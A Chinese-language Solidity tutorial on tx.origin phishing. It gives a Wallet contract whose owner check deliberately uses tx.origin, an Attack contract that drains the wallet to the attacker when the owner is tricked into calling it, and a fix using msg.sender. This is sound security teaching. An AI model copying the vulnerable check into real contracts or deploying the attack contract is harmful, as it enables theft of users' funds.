欢迎订阅专栏:3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 的“与tx.origin的Phishing (Code Example)”
msg.sender和 tx.origin有什么区别?
如果合约 A 调用 B,B 又调用 C,那么在 C 中 msg.sender是 B,而 tx.origin是 A。
漏洞
恶意合约可以欺骗合约所有者调用本应仅限所有者调用的函数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/*
钱包是一个简单的合约,只有所有者才能将以太币转移到另一个地址。Wallet.transfer() 使用 tx.origin 来检查调用者是否是所有者。让我们看看如何攻击这个合约。
*/
/*
1. 爱丽丝部署了一个包含10个以太币的钱包合约。
2. 伊芙部署了一个攻击合约,并传入爱丽丝钱包合约的地址。
3. 伊芙诱骗爱丽丝调用Attack.attack()函数。
4. 伊芙成功从爱丽丝的钱包中窃取了以太币。
发生了什么?
爱丽丝被诱骗调用了Attack.attack()函数。在Attack.attack()内部,
它请求将爱丽丝钱包中的所有资金转移到伊芙的地址。
由于Wallet.transfer()中的tx.origin等于爱丽丝的地址,
因此授权了这笔转账。钱包将所有以太币转给了伊芙。
*/
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint256 _amount) public {
require(tx.origin == owner, "Not owner");
(bool sent,) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
}
预防性技术
使用 msg.sender而非 tx.origin
function transfer(address payable _to, uint256 _amount) public {
require(msg.sender == owner, "Not owner");
(bool sent, ) = _to.call{ value: _amount }("");
require(sent, "Failed to send Ether");
}
Remix 尝试一下